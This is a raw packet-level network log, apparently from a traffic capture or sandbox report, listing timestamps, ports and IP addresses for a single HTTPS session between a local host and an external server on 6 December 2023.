Dec 6, 2023 14:33:13.186280966 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186321974 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186342001 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.186351061 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186378956 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186431885 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186444998 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186467886 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.186475039 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186491013 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186523914 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186573982 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186613083 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186650991 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186681986 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186690092 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.186697960 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186722994 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186737061 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186784983 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186803102 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186846972 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.186851978 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186882019 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186896086 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186945915 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.186975956 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187046051 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187056065 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187071085 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187086105 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187134981 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187153101 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187172890 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187181950 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187201023 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187213898 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187264919 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187282085 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187282085 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187294006 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187325954 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187347889 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187361956 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187376976 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187385082 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187407017 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187424898 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187431097 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187486887 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187499046 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187514067 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187532902 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187570095 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187571049 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187604904 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187613010 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187618017 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187659979 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187673092 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187675953 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187722921 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187724113 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187735081 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187764883 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187774897 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187805891 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187812090 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187839985 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187844992 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187853098 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187870979 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187890053 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187894106 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187906027 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187916994 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187925100 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187948942 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187956095 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.187977076 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.187994003 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188010931 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188016891 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188026905 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188049078 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188074112 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188079119 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188098907 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188117027 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188121080 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188144922 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188149929 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188173056 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188186884 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188188076 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188214064 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188224077 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188256979 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188260078 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188282013 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188298941 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188308001 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188328981 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188333035 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188349962 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188364029 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188371897 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188390970 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188432932 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188450098 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188450098 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188498974 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188503027 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188528061 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188543081 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188554049 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188560963 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188594103 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188595057 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188616037 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188651085 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188657045 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188668966 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188683987 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188703060 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188714027 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188740015 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188767910 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188779116 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188788891 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188813925 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188818932 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188847065 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188868999 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188883066 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188883066 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188894987 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188915014 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188951015 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.188951015 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188963890 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.188991070 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189004898 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189012051 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189044952 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189055920 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189064026 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189085960 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189105034 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189121962 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189162016 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189174891 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189182043 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189199924 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189218044 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189254999 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189255953 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189268112 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189280033 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189308882 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189315081 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189333916 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189342976 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189356089 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189366102 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189371109 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189413071 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189430952 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189435005 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189481974 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189486980 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189497948 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189524889 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189529896 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189579010 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189585924 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189594030 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189608097 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189618111 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189676046 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189692020 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189693928 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189719915 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189738989 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189770937 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189785004 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189785957 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189794064 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189843893 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189852953 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189881086 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189903975 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189918995 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189964056 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.189963102 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189992905 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.189994097 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190005064 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190052032 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190056086 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190074921 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190098047 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190104961 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190128088 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190150023 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190154076 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190206051 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190222979 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190224886 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190233946 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190274000 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190282106 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190299988 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190310001 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190315962 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190349102 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190349102 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190372944 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190396070 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190406084 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190445900 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190459013 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190459967 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190499067 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190515995 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190532923 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190541029 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190557957 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190572977 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190587997 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190624952 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190644026 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190659046 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190665960 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190694094 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190706015 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190730095 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190736055 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190745115 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190764904 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190795898 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190803051 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190812111 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190836906 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190869093 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190876007 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190884113 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190916061 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190917015 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190968990 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.190973997 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190983057 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.190996885 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191018105 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191037893 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191075087 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191076994 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191092014 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191124916 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191137075 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191144943 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191188097 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191210985 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191224098 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191235065 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191257954 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191281080 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191294909 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191308022 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191317081 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191359997 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191376925 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191385984 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191396952 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191416979 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191437006 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191456079 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191462994 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191472054 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191485882 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191510916 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191529036 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191549063 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191569090 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191590071 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191623926 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191642046 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191648960 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191675901 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191695929 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191705942 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191761971 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191766977 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191778898 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191797972 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191823006 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191828966 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191859007 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191884041 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191890955 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.191947937 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.191987991 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.192039013 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.192056894 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.192104101 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.192109108 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.192140102 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.192161083 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.192302942 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.192411900 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.192445040 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.192486048 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.192492008 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.192531109 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.192558050 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.192938089 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.192956924 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.193005085 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.193010092 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.193048954 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.193073988 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.193315029 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.193337917 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.193383932 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.193391085 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.193429947 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.193458080 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.193684101 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.193703890 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.193766117 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.193772078 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.193809986 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.193830967 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.194375038 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.194391966 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.194446087 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.194451094 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.194519043 CET	49710	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:33:13.194736958 CET	443	49710	185.23.108.224	192.168.2.5
Dec 6, 2023 14:33:13.194770098 CET	443	49710	185.23.108.224	192.168.2.5
